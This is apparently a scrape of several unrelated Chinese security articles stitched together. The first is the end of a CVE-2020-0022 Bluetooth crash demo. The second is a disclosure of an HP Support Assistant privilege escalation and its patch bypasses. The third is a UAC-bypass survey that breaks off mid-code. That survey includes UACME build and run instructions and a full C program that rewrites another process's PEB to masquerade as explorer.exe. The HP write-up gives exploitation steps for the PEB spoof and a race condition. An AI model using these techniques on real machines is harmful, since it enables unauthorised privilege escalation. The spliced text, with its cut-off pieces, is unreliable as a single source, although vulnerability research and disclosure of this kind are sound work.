其中，我们在第一个HCL-ACL分片的L2CAP头中，将Command体第2部分的大小设定为2，却按照实际大小8进行发送，从而触发截断，达成攻击。
### 4.3 效果演示
① 正常发送echo数据包时，使用程序对返回的l2cap数据包内容进行打印，效果如下图所示。
其中，打码部分是笔者手机（Android
8.0）的蓝牙地址。对于程序输出，09为Command中的Code，表征这是一个echo回执包；8个41即8个A字符；8个42即8个B字符。
由此，我们的发包成功触发了手机蓝牙的echo回执，程序自身的正确性得以证明。
② 发送攻击包时，观察手机状态，有，
由此，我们的发包导致了蓝牙守护进程进行预期之外的memcpy，使得进程崩溃。攻击成功。
## 五. 总结
至此，本系列的第一篇《CVE-2020-0022 蓝牙漏洞初探（上）一个bug引发的血案》结束了。本篇从蓝牙简介开始，逐步深入，阐述了L2CAP层与HCL-ACL层之间数据包的分段与重组，分析了相关代码，阐述了漏洞细节，并以实例加以Demo，成功触发了漏洞。
然而，至此我们仅仅达到了令蓝牙守护进程崩溃的效果，而且，0xfffffffffffffffe作为memcpy的第三个参数，似乎意味着一个十分缓慢的操作，难以在用户无察觉的前提下加以利用，当然，这并非事实，细节暂且不表。下一节中，笔者会为大家带来利用CVE-2020-0022漏洞泄露被攻击目标内存内容的原理与实例，以进一步揭开其神秘的面纱。
## 参考文献
<https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/> | 社区文章 |
作者：[Danny_Wei@腾讯玄武实验室](http://xlab.tencent.com/cn/2017/09/11/safe-coding-of-wcf-viewed-from-a-longlive-vulnerability/ "Danny_Wei@腾讯玄武实验室")
#### 背景
笔者在2016年11月发现并报告了 HP Support Assistant (HPSA) 的权限提升漏洞，HP Product Security
Response Team (HP PSRT) 响应迅速，但却以此漏洞可以通过软件的自动更新功能自动修复为由拒绝为其发布安全公告和
CVE。4月份想起这件事后，笔者又分析了一遍修补后的 HPSA，发现 HP
的开发人员在修补中犯了更为低级的错误，导致补丁可以被绕过重新实现权限提升。在随后与 HP PSRT
的沟通与合作中，再一次利用其它技巧绕过了其后续修补，最终笔者协助 HP PSRT 完成了漏洞的修补。
本文将分析此漏洞的成因及多次补丁绕过，希望能以此为案例提高开发人员对安全的认识和理解，以减少由于对所用技术理解不到位和安全编程意识匮乏而导致的安全漏洞。
#### 问题描述
HPSA 是惠普推出的系统管理软件，被默认安装在惠普的所有 PC 中。其用于维护系统及打印机，并提供自动更新等功能。HPSA 使用.Net开发，其系统服务
HPSupportSolutionsFrameworkService 使用 WCF 与客户端通信，完成系统更新、管理等高权限敏感操作。虽然 HPSA
使用了较新的分布式处理技术WCF，然而在 Server 与 Client
通信过程中，却采用了不正确的认证方式。导致攻击者可以绕过认证，最终利用其敏感服务接口的缺陷，实现 everyone 到 system 的权限提升。
本文将从 WCF 技术背景、漏洞发现、漏洞利用、补丁实现和两次绕过几个方面进行分析。
#### WCF技术背景
WCF(Windows Communication Foundation) 是用于面向服务应用程序的编程框架，基于WCF的服务可以有两种形式：1). 通过
IIS 寄宿的方式将服务寄宿于IIS中; 2). 通过自我寄宿（Self-Hosting）的方式将服务寄宿于普通应用程序、windows 服务之中。
WCF 使用 Endpoint 的概念，在服务 Endpoint 和客户 Endpoint 之间传输异步消息。 Endpoint
用来描述消息发往什么地方，如何被发送等行为。一个服务端 Endpoint 主要由三部分构成：
###### 1). Addrsss
唯一标识endpoint，是描述服务接口的URI，可以是相对地址（相对于ServiceHost(Type, Uri[])的URI），也可以是绝对地址。
###### 2). Binding
指定绑定在endpoint上的接口类型，描述endpoint间通信时使用的协议、消息编码方式、安全设置等。 WCF支持：HttpBindingBase,
MsmqBindingBase, NetNamedPipeBinding, NetPeerTcpBinding, NetTcpBinding,
UdpBinding, WebHttpBinding, WSDualHttpBinding, WSHttpBindingBase,
CustomBinding多种绑定类型。
###### 3). Contract
契约指定并设置绑定到当前 endpoint 上的服务接口，即哪些方法被导出给客户端，方法的授权情况、消息格式等。
#### 漏洞成因
HPSA 的系统服务 HPSupportSolutionsFrameworkService 具有 SYSTEM 权限，并开启了多个允许 everyone
账户读写的 NamePipe。这一敏感行为引起了笔者的注意，因此dump下安装包进一步分析。
反混淆反编译后进行代码审计，发现HPSA的系统服务使用WCF与Client进行交互。它创建了一个绑定在NetNamedPipeBinding（`URI：”net.pipe://localhost/HPSupportSolutionsFramework/HPSA”`）上的Endpoint，并允许Client调用多个绑定在此Endpoint上的服务接口：`HP.SupportFramework.ServiceManager.Interfaces::IServiceInterface`。
HPSA 在连接建立时对 Client 进行了认证，以阻止敏感接口被恶意程序调用。Server 与 Client 的交互过程如下表所示：
在 Server 与 Client 的交互过程中，HPSupportSolutionsFrameworkService 使用了多种途径来确保安全：验证
Client 是否为 HP 签名、使用 SecureString 存储 GUID、使用 RNGCryptoServiceProvider
生成随机数、调用敏感接口时验证 Client 的 Token。
千里之堤毁于蚁穴，在看似缜密的认证逻辑中却存在安全漏洞：HPSupportSolutionsFrameworkService
使用`Process.MainModule.FileName`获取 Client
的文件路径，随后验证其文件签名。然而，在C#中`Process.MainModule.FileName`是通过调用`GetModuleFileName()`索引进程的
PEB (Process Environment Block)来获取模块路径的。PEB 位于进程的用户空间中，因此可以被攻击者修改替换。攻击者只需在连接
Server 的 Endpoint 前修改 PEB，使模块路径指向一个有效的 HP 签名文件即可绕过签名检测，最终通过认证。
#### 漏洞利用
绕过 HPSA Server 的认证后，就可以调用绑定在此 Endpoint
上的服务接口函数了。接下来的工作就是从可用的服务接口函数中寻找可以利用的方法，实现权限提升。HPSupportSolutionsFrameworkService
的服务接口函数实现在`HP.SupportFramework.ServiceManager.ServiceTasks::ServiceTask`中，大致浏览一遍接口函数发现UncompressCabFile服务接口可以用于任意文件写，DeleteFile
服务接口可以用于任意文件删除。
UncompressCabFile 的实现逻辑如下：
public bool UncompressCabFile(string cabFilePath, string destDirectory, string token)
{
if (!\u0004.Instance.\u0001(SharedCommon.StringToSecureString(token)))
{
if (DebugLog.IsDebug)
{
DebugLog.LogDebugMessage("signature validation failure for UncompressCabFile", DebugLog.IndentType.None);
}
return false;
}
if (!File.Exists(cabFilePath))
{
return false;
}
if (!Validation.VerifyHPSignature(cabFilePath))
{
File.Delete(cabFilePath);
return false;
}
string text = "\"" + cabFilePath + "\"";
string text2 = "\"" + destDirectory + "\"";
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.set_WindowStyle(1);
processStartInfo.set_Arguments("-qq " + text + " -d " + text2);
processStartInfo.set_FileName(SupportAssistantCommon.FrameworkPath + "Modules\\unzip.exe");
Process process = new Process();
process.set_StartInfo(processStartInfo);
process.Start();
process.WaitForExit();
if (File.Exists(cabFilePath))
{
File.Delete(cabFilePath);
}
return true;
}
UncompressCabFile 利用 unzip.exe 将压缩文件 cabFilePath 解压至 destDirectory，在解压前首先验证了
cab 文件的签名。由于在签名验证和解压缩之间存在时间差，因此这里存在 TOCTTOU(Time of Check To Time of
Use)问题，可以利用条件竞争绕过签名检测将文件写入任意目录，最终可以实现权限提升。
DeleteFile 的实现逻辑如下：
public void DeleteFile(string filePath, string token)
{
if (\u0007.Instance.\u0001(SharedCommon.StringToSecureString(token)))
{
try
{
File.Delete(filePath);
return;
}
catch (Exception ex)
{
if (DebugLog.IsDebug)
{
DebugLog.LogDebugMessage("exception in DeleteFile: " + ex.Message, DebugLog.IndentType.None);
}
return;
}
}
if (DebugLog.IsDebug)
{
DebugLog.LogDebugMessage("token not valid in DeleteFile", DebugLog.IndentType.None);
}
}
因此利用过程如下所述：
1. 修改PEB，将进程路径指向合法的HP签名程序
2. 通过反射机制获取`HP.SupportFramework.ServiceManager.Interfaces`命名空间中 ServiceInterface 类的`get_Instance()`方法
3. 实例化 ServiceInterface
4. 调用`ServiceInterface::UncompressCabFile`服务接口，结合条件竞争实现权限提升
#### 补丁实现和绕过1
漏洞报告后 HP PSRT 快速响应，并在半个月内通过邮件告知已经发布了新版来解决此安全漏洞。4月初，再次分析后发现新版本的 HPSA 依旧在使用
everyone 可写的 NamePipe，笔者决定针对 HP 的修复再次分析。
通过短暂的逆向分析，定位了补丁修复位置。补丁在`HP.SupportFramework.ServiceManager.Interfaces::ServiceInterface::get_Instance()`中添加了如下逻辑：
StackFrame stackFrame = new StackFrame(1);
MethodBase method = stackFrame.GetMethod();
Type declaringType = method.get_DeclaringType();
string name = method.get_Name();
if (name.ToLowerInvariant().Contains("invoke"))
{
string text2 = new \u0007().\u0001(Process.GetCurrentProcess());
text2 = Uri.UnescapeDataString(Path.GetFullPath(text2));
string text3 = Assembly.GetEntryAssembly().get_Location();
text3 = Uri.UnescapeDataString(Path.GetFullPath(text3));
if (text3.ToLowerInvariant() != text2.ToLowerInvariant())
{
if (DebugLog.IsDebug)
{
DebugLog.LogDebugMessage(string.Concat(new string[]
{
"Illegal operation. Calling process (",
text3,
") is not the same as process invoking method (",
text2,
")"
}), DebugLog.IndentType.None);
}
throw new Exception("Invoking methods is not allowed.");
}
}
namespace \u0007
{
// Token: 0x02000081 RID: 129
internal sealed class \u0007
{
internal string \u0001(Process \u0002)
{
try
{
string result = \u0002.get_MainModule().get_FileName();
return result;
}
…
}
…
}
}
以上代码在实例化时，首先通过`Assembly.GetEntryAssembly().get_Location()`获取 Client
的文件路径，并与通过`Process.MainModule.FileName`方法获取的 Client 模块路径进行对比，如果不一致则抛出异常。
`.Net`的运行时环境规定，拥有同样标识的`.Net`程序集只能被加载一次。由于`HP.SupportFramework.ServiceManager.dll`已经被
HPSupportSolutionsFrameworkService 加载，所以 HP 的开发人员认为此举可以有效阻止攻击者通过修改
PEB，并利用反射机制创建 ServiceInterface 来绕过认证。
然而，HP 的`.Net`开发人员显然是忽视了进程空间的安全边界。此处所做的检测仍然位于 Client 进程空间，如同修改 PEB 那样， Client
依旧拥有权限修改进程空间内的数据和代码。Client 可以采取多种方案绕过检测：
1. 在实例化前，定位并修改`HP.SupportFramework.ServiceManager.dll`中的检测逻辑；
2. 自己实现与 Server 的交互，认证，服务接口调用等；
3. 静态 Patch 检测逻辑，并修改程序集`HP.SupportFramework.ServiceManager.dll`的标识，使修改后的文件可以被加载进 Client 进程空间。
其中方案3最为简洁，这里可以直接利用工具修改其判断逻辑为 `if (text3.ToLowerInvariant() ==
text2.ToLowerInvariant())`，并修改程序集的版本号（微软官方文档中描述了影响.Net可执行程序标识的属性包括：AssemblyCultureAttribute,
AssemblyFlagsAttribute, AssemblyVersionAttribute [3]）。最终实现对补丁的绕过，重新实现权限提升。
#### 补丁实现和绕过2
又一次，将漏洞和修补方案报告给 HP PSRT 后，HP 的开发人员从两个方面做了修补：
1. 对 Client 的认证方式做调整，Server不再使用`Process.MainModule.FileName`获取Client的文件路径，而是通过`GetProcessImageFileName()`来获取，避免从PEB获取到被篡改的Client文件路径。
2. 在 UncompressCabFile 和 DeleteFile 中，检查了参数里的文件/目录路径是否合法。
查看 UncompressCabFile 和 DeleteFile
里的文件/目录路径检测逻辑，发现其仅仅使用了字符串比较来检测路径是否合法，而不是对规范化后的路径进行检测。代码如下：
internal static bool \u0001(string \u0002)
{
string[] array = new string[]
{
"AppData\\Local\\Hewlett-Packard\\HP Support Framework",
Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\Hewlett-Packard\\HP Support Framework",
SupportAssistantCommon.MainAppPath,
SupportAssistantCommon.FrameworkPath
};
string[] array2 = array;
for (int i = 0; i < array2.Length; i++)
{
string text = array2[i];
if (\u0002.ToLowerInvariant().Contains(text.ToLowerInvariant()))
{
return true;
}
}
if (DebugLog.IsDebug)
{
DebugLog.LogDebugMessage("Invalid File detected: " + \u0002, DebugLog.IndentType.None);
}
return false;
}
因此这里使用目录穿越即可绕过路径检查。对 Client 的认证也很容易绕过，使用 Hewlett-Packard
安装目录里任意一个拥有有效签名的程序，将漏洞利用代码注入其中即可绕过对 Client 的认证检测。
最终，HP PSRT 修正了路径检测的逻辑，增加了对目录穿越行为的检测，相关代码如下所示：
internal static bool \u0002(string \u0002)
{
if (!Path.IsPathRooted(\u0002) || \u0002.StartsWith("\\") || \u0002.Contains("..") || \u0002.Contains(".\\"))
{
if (DebugLog.IsDebug)
{
DebugLog.LogDebugMessage("Invalid File detected: " + \u0002, DebugLog.IndentType.None);
}
return false;
}
return true;
}
笔者在漏洞细节中建议 HP PSRT 彻查所有服务接口的安全性，对其参数进行正确的检测，以免再次被攻击者利用。
#### 总结
安全漏洞会在软件生命周期（需求分析、设计、实现、维护等过程）内的各个阶段被引入，研发人员除了需要在设计和实现阶段避免安全漏洞外，还需要在出现漏洞后运用合理的修补方案。这里
HPSA 出现的问题就是在设计、实现、维护阶段共同引入的。
###### 1). 设计阶段
也许是为了保证未签名程序也可以调用服务端的非敏感接口（例如 DecryptFile, DeleteTempSession 等未验证 Client
身份的服务接口），又或许是为了让 Guest 用户也可以对系统进行更新等操作。最终导致 HPSA
没有利用系统提供的访问权限检查机制[2]来隔离权限边界，使得软件从设计之初就引入安全风险。
###### 2). 实现阶段
HPSA 的开发人员未意识到通过`Process.MainModule.FileName`获取 Client
文件路径的不安全性，从而导致认证可以被绕过；也未意识到敏感服务接口的危险性，未对敏感服务接口的参数的合法性进行正确检测，从而导致可以被攻击者用于权限提升。事实上，任何试图通过进程对应的文件来检查进程安全性的做法都是存在安全隐患的。
###### 3). 维护阶段
在对一个漏洞的三次修补过程中，HPSA的开发人员更是忽视了进程的安全边界，使用了多种错误的修补方案，导致补丁被多次绕过。
从这个漏洞的成因和多次修补可以看出，HP的开发人员存在对所用技术理解不到位，缺乏安全编程经验的问题。希望这篇文章能给研发人员带来安全编程的思考和经验的提升，不在设计、实现、维护阶段发生类似HPSA这样的一系列错误。
#### Timeline
* 11/30/2016 Provide vulnerability details and PoC to HP Inc. via [email protected]
* 12/02/2016 HP Inc. responded that they had validated and opened case PSR-2016-0118 for the issuse
* 12/13/2016 HP Inc. released a fix for the reported issue
* 01/04/2017 HP Inc. responded that the vulnerability was fixed
* 01/05/2017 Ask for more infomation
* 01/14/2017 HP Inc. responded that they are still investigating
* 02/03/2017 HP Inc. responded that this issue can be automatically resolved, thus they don’t issue security bulletin and CVE numbers
* 04/20/2017 Report the patch can be bypass. Provide vulnerability details and PoC to HP Inc.
* 04/20/2017 HP Inc. responded that they had validated and opened case PSR-2017-0056 for the issuse
* 05/29/2017 HP Inc. responded that the fixed version will be released in mid-June 2017
* 06/07/2017 HP Inc. published a new patch and asked me confirm the vulnerability doesn’t exist
* 06/07/2017 Report the patch can be bypass again. Provide vulnerability details and PoC to HP Inc. Also provide some repair advices.
* 06/15/2017 HP Inc. published a new patch and asked me confirm the vulnerability doesn’t exist
* 06/15/2017 Confirm the patch is valid. And recommend HP Inc. make sure there no other vulnerable functions can be exploited now, nor will be in the future.
* 08/31/2017 HP Inc. published a security bulletin (https://support.hp.com/sk-en/document/c05648974) and issued a CVE (CVE-2017-2744).
#### Reference
1. Windows Communication Foundation Security
<https://msdn.microsoft.com/en-us/library/ms732362(v=vs.110).aspx>
2. Authentication and Authorization in WCF Services – Part 1
<https://msdn.microsoft.com/en-us/library/ff405740.aspx>
3. Setting Assembly Attributes
<https://msdn.microsoft.com/en-us/library/4w8c1y2s(v=vs.110).aspx>
* * * | 社区文章 |
# BypassUAC原理及方法汇总
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文为UAC绕过方式的一些总结，辅以一些个人理解，请各位大佬指正。
## 什么是UAC
根据MSDN中的[文档](https://docs.microsoft.com/en-us/cpp/security/how-user-account-control-uac-affects-your-application?redirectedfrom=MSDN&view=vs-2019),User
Account Control(UAC)是在Windows Vista 以后版本中引入的一种安全机制,针对具有有限权限的账户.
> 通过 UAC，应用程序和任务可始终在非管理员帐户的安全上下文中运行，除非管理员特别授予管理员级别的系统访问权限。UAC
> 可以阻止未经授权的应用程序自动进行安装，并防止无意中更改系统设置。
> Launched with virtualization意味着对注册表或者文件系统的更改会在程序结束时失效
>
> launched without elevated privilege 即在非特权级下运行
从上图中,我们看到如果想获取管理员权限(让程序在特权级运行),有以下几种方式:
* 通过run as administer/ 在shell中执行runas
* 未启用UAC
* 进程已经拥有管理权限控制
* 进程被用户允许通过管理员权限运行
## UAC的实现
ACL（Access Control List）：Windows 中所有资源都有 ACL ，这个列表决定了拥有何种权限的用户/进程能够这个资源。
在开启了 UAC 之后，如果用户是标准用户， Windows 会给用户分配一个标准 `Access Token`
如果用户以管理员权限登陆，会生成两份访问令牌，一份是完整的管理员访问令牌（Full Access
Token），一份是标准用户令牌。一般情况下会以标准用户权限启动 Explorer.exe 进程。如果用户同意，则赋予完整管理员权限访问令牌进行操作。
可以使用`whoami /priv` 看当前的权限
在研究一些对抗方法的时候,我们可以从“ **安全总是要让步于业务**
”这个不成文的规则入手,不管是一些为了用户体验导致的安全性上的牺牲,或者是为了业务逻辑不得不做的一些不安全配置都是因为如此,举一个例子:我们在开启UAC的情况下，向安装位置在%PROGRAMFILES%安装文件时，总会弹出UAC提示，但是我们安装完成后，在进行程序卸载时却不会弹出任何UAC提示，细心的思考一下，你可能就会开始琢磨其中的端倪。本质上是因为Widnows为这些程序（或者接口）开启了autoElevate,也就是说Windows系统本身维护了一批这样的在UAC白名单中的程序,而我们就可以利用他们来绕过UAC,当然,这只是其中一种方式.
## 触发UAC
* 配置Windows Update
* 增加或删除用户账户
* 改变用户的账户类型
* 改变UAC设置
* 安装ActiveX
* 安装或移除程序
* 安装设备驱动程序
* 设置家长控制
* 将文件移动或复制到Program Files或Windows目录
* 查看其他用户文件夹
等等有很多,具体参考[这里](https://en.wikipedia.org/wiki/User_Account_Control#Tasks_that_trigger_a_UAC_prompt)
**触发流程** :
在触发 `UAC`
时，系统会创建一个`consent.exe`进程，该进程用以确定是否创建管理员进程（通过白名单和用户选择判断），然后`creatprocess`请求进程,将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数，该函数首先验证路径是否在白名单中，并将结果传递给consent.exe进程，该进程验证被请求的进程签名以及发起者的权限是否符合要求，然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面，屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程，其他普通进程也无法和其进行通信交互。用户确认之后，会调用CreateProcessAsUser函数以管理员权限启动请求的进程
## BypassUAC
目前公开的绕过UAC的几种方式:
1. 各类的UAC白名单程序的DLL劫持
2. 各类自动提升权限的COM接口利用(Elevated COM interface)
3. Windows 自身漏洞提权
4. 远程注入
本文主要论述前两种方法
### UACME
在分析之前,先介绍一个项目:https://github.com/hfiref0x/UACME,内含60+种BypassUAC的方法,后续会提到,其中包括的工具列表如下:
* Akagi 是项目的主程序，其中包含了所有的Methods，绕过UAC的主要方法的源码都在Method目录下，会以UAC绕过方法的发现者的名字来命名源文件。
* Akatsuki 又叫做“晓”，WOW64 logger绕过UAC的利用方法的DLL源码
* Fubuki 又叫做“暴风雪“,好几个绕过UAC利用的代理DLL，他们都共用了劫持Ole32.dll的方法
* Hibiki 又叫做“声音”，AVRF方法绕过UAC的利用方法的DLL源码
* Ikazuchi 又叫做”雷声“，利用劫持 comctl32.dll 组件绕过UAC的利用方法的DLL源码
* Inazuma 又叫做“闪电”，SHIM相关利用的绕过UAC的利用方法的EXE源码
* Kamikaze 又叫做“神风”，未在工程文件中引用，MMC劫持方法利用的MSC文件
* Kongou 又叫做“金刚”，利用Hybrid方法绕过UAC的Dll，已经排除在新工程中的引用了
* Naka 又叫做“空气”，压缩及亦或编码的小工具源码
* Yuubari Aka UACView用来查看相关UAC的设定信息，以及扫描存在可利用的程序的工具
clone到本地后,用VS2019打开,选择uacme.vcxproj,以Release|x64去build(这个根据需要,64位系统就用x64),然后`ctrl+b`build项目,生成的项目在source/Akag/output下
#### Akagi64
使用`vs2019`本地编译后可以使用`akagi32 41`或者`akagi64
41`启动程序，`41`这个指的是`README`中描述的方法索引，运行后可以直接得到管理员权限的`cmd`窗口。
#### Yuubari
编译方法同上,会生成一个UacInfo64.exe,该工具可以快速查看系统的UAC设定信息以及所有可以利用的程序和COM组件,使用方法如下(会在同一目录下生成一个log文件记录所有输出结果)
这个怎么看,后面会说
### 利用白名单
上文也已经分析了,如果进程本身具有管理员权限或者可以直接获取管理员权限的话,就不会弹出UAC框让用户确认,这类程序被称为白名单程序，例如：`slui.exe`、`wusa.exe`、`taskmgr.exe`、`msra.exe`、`eudcedit.exe`、`eventvwr.exe`、`CompMgmtLauncher.exe`，`rundll32.exe`，`explorer.exe`等等。
常见的利用方式有：
* `DLL`注入（`RDI`技术），一般注入到常驻内存的可信进程，如：`explorer`
* `DLL`劫持，常和注册表配合使用达到劫持目的
#### 伪装成白名单的方法
后续提到的很多方法都需要白名单的进程调用才能自动提权,但是我们的程序本身是我不在白名单的,此时就需要使用伪装白名单的方式来伪装成白名单的调用,使用的方法是伪装进程PEB.
_PEB结构_ （Process Envirorment Block Structure）.
英文翻译过来就是进程环境信息块,微软并未完全公布该结构的所有字段含义,只是公布了部分的.该结构中存放了进程信息，每个进程都有自己的 PEB
信息。通过修改目标进程的PEB结构中的路径信息和命令行信息为想要伪装的对象一致,就可以将目标进程伪装成想要伪装的目标.实现原理如下:
1. 通过NtQueryInformationProcess函数获取指定进程PEB地址。因为该进程与我们的进程可能不在一个进程空间内，所以需要调用WIN32API函数ReadProcessMemory和WriteProcessMemory函数来读写目标进程内存。
2. 根据PEB中的ProcessParameters来获取并修改指定进程的RTL_USER_PROCESS_PARAMETERS信息，这个结构体中保存了PEB的路径信息、命令行信息，修改之后，即可实现进程伪装。
**注意**
，如果修改进程运行在64位系统上，那么就要编译为64位；反之，如果修改进程运行在32位系统上，那么就要编译为32位。（跟被修改进程无关）这样才能成功修改PEB。
几个关键结构/函数：
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress; //peb的基地址
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
用NtQueryInformationProcess获取到的内存信息就是该结构的，其中的PebBaseAddress字段记录了PEB的基地址，为一个_PEB的结构体指针
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged; //被调试状态 这个很多地方用到
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 进程参数信息
BYTE Reserved4[104];
PVOID Reserved5[52];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved6[128];
PVOID Reserved7[1];
ULONG SessionId;
} PEB, *PPEB;
主要用到ProcessParameters，PRTL_USER_PROCESS_PARAMETERS的结构为：
typedef struct _RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
我们只要关注ImagePathName和CommandLine，所以来看看这个UNICODE_STRING结构：
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
然后是几个关键函数：
BOOL ReadProcessMemory(
_In_ HANDLE hProcess, // 进程句柄
_In_ LPCVOID lpBaseAddress, // 读取基址 指向指定进程空间
_Out_ LPVOID lpBuffer, // 接收缓存
_In_ SIZE_T nSize, // 读取大小
_Out_opt_ SIZE_T *lpNumberOfBytesRead // 接收数据的实际大小 可以设置为NULL
);
ReadProcessMemory函数从指定的进程中读入内存信息，被读取的区域必须具有访问权限(PROCESS_VM_READ)。函数执行成功返回非零值。否则返回零，可以使用GetLastError函数获取错误码。
BOOL WriteProcessMemory(
_In_ HANDLE hProcess, // 进程句柄 INVALID_HANDLE_VALUE表示自身进程
_In_ LPVOID lpBaseAddress, // 写入内存首地址
_Out_ LPCVOID lpBuffer, // 指向欲写入的数据
_In_ SIZE_T nSize, // 写入大小
_Out_opt_ SIZE_T *lpNumberOfBytesWritten // 接收实际写入大小 可以设置为NULL
);
WriteProcessMemory函数能写入某一进程的内存区域。入口区必须可以访问(PROCESS_VM_WRITE和PROCESS_VM_OPERATION
)，否则操作将失败
这里自己写一个小Demo来帮助理解:
#include <stdio.h>
#include <Windows.h>
#include <winternl.h> //PEB Structures, NtQueryInformationProcess
#include <TlHelp32.h>
//prepare for call NtQueryInformationProcess func
typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
// modify ImagePathName and CommandLine in PEB of specific process
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd) {
// get handle of process
/*
OpenProcess(访问权限, 进程句柄是否被继承, 要被打开的进程PID)
*/
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (hProcess == NULL) {
printf("Open Process error!");
return FALSE;
}
// prepare for getting PEB
typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
PROCESS_BASIC_INFORMATION pbi = { 0 };
PEB peb = { 0 };
RTL_USER_PROCESS_PARAMETERS Param = { 0 };
USHORT usCmdLen = 0;
USHORT usPathLen = 0;
const WCHAR* NTDLL = L"ntdll.dll";
//NtQueryInformationProcess这个函数没有关联的导入库，必须使用LoadLibrary和GetProcessAddress函数从Ntdll.dll中获取该函数地址
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)GetProcAddress(LoadLibrary(NTDLL), "NtQueryInformationProcess");
if (NULL == NtQueryInformationProcess)
{
printf("GetProcAddress Error");
return FALSE;
}
// get status of specific process
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status))
{
printf("NtQueryInformationProcess failed");
return FALSE;
}
// get PebBaseAddress in PROCESS_BASIC_INFORMATION of prococess
ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
// get ProcessParameters in PEB of process
ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
// modify cmdline data
usCmdLen = 2 + 2 * wcslen(lpwszCmd); // cal lenth of unicode str
WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
// modify path data
usPathLen = 2 + 2 * wcslen(lpwszPath); // cal lenth of unicode str
WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);
return TRUE;
}
// get PID by ProcessName
DWORD FindProcId(const WCHAR* ProcName) {
DWORD ProcId = 0; // target procId
PROCESSENTRY32 pe32 = { 0 }; // to get snapshot structure
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hProcessShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // get snapshot list
if (hProcessShot == INVALID_HANDLE_VALUE) {
puts("get proc list error");
return 0;
}
BOOL cProc = Process32First(hProcessShot, &pe32); // prepare for loop of proc snapshot list
// compare proc name and get correct process Id
while (cProc) {
if (wcscmp(pe32.szExeFile, ProcName) == 0) {
ProcId = pe32.th32ProcessID;
break;
}
cProc = Process32Next(hProcessShot, &pe32);
}
return ProcId;
}
int main()
{
const WCHAR* ProcessName = L"Calculator.exe";
do {
DWORD dwTargetId = FindProcId(ProcessName);
if (0 == dwTargetId) {
printf("can not find procIdn");
break;
}
if (FALSE == DisguiseProcess(dwTargetId, (wchar_t*)L"C:\\Windows\\explorer.exe", (wchar_t*)L"C:\\Windows\\Explorer.EXE"))
{
printf("Dsisguise Process Error.");
break;
}
printf("Disguise Process OK.");
} while (FALSE);
system("pause");
return 0;
}
这里有几点需要注意的：
1. 计算长度时，由于wcslen返回的是unicode的字符个数，每个unicode字符占两个字节，在加上结尾的两个空字节，所以是2+2*wcslen(lpwszCmd)
2. NtQueryInformationProcess这个函数没有关联的导入库，必须使用LoadLibrary和GetProcessAddress函数从Ntdll.dll中获取该函数地址
Demo运行后，会将Calculator.exe的cmdline和imagepath修改为指定进程的，如果想将路径也伪装正确，可以调用GetModuleFileNameEx、GetProcessImageFileName或者QueryFullProcessImageName等函数获取伪装进程的正确路径
在UACME项目中，是由supMasqueradeProcess函数实现了该技术，原理是一样的，只不过该函数实现的是伪装自身的信息。
#### DLL劫持的几种方式
##### DLL加载顺序劫持
DLL劫持中最常见的一种劫持方法，即在程序所在目录放置要劫持的DLL，程序启动时首先从本目录加载DLL，从而导致DLL劫持,DLL的加载顺序如下:
* 1.程序所在目录
* 2.程序加载目录（SetCurrentDirectory）
* 3.系统目录即 SYSTEM32 目录
* 4.16位系统目录即 SYSTEM 目录
* 5.Windows目录
* 6.PATH环境变量中列出的目录
PS：Windows操作系统通过“DLL路径搜索目录顺序”和“Know
DLLs注册表项”的机制来确定应用程序所要调用的DLL的路径，之后，应用程序就将DLL载入了自己的内存空间，执行相应的函数功能
1号方法用的就是这种方法,以此为例分析一下,7号方法的信息如下:
> 7.Author: Win32/Carberp derivative
>
> * Type: Dll Hijack
> * Method: WUSA
> * Target(s): \system32\cliconfg.exe
> * Component(s): ntwdblib.dll
> * Implementation: ucmWusaMethod
> * Works from: Windows 7 (7600)
> * Fixed in: Windows 10 TH1 (10147)
> * How: WUSA /extract option removed
>
这里顺便以7号方法为例,分析一下UACMe的代码实现:
主程序:main.c,入口在ucmMain() 传入一个method号,其中method是个枚举类型_UCM_METHOD:
typedef enum _UCM_METHOD {
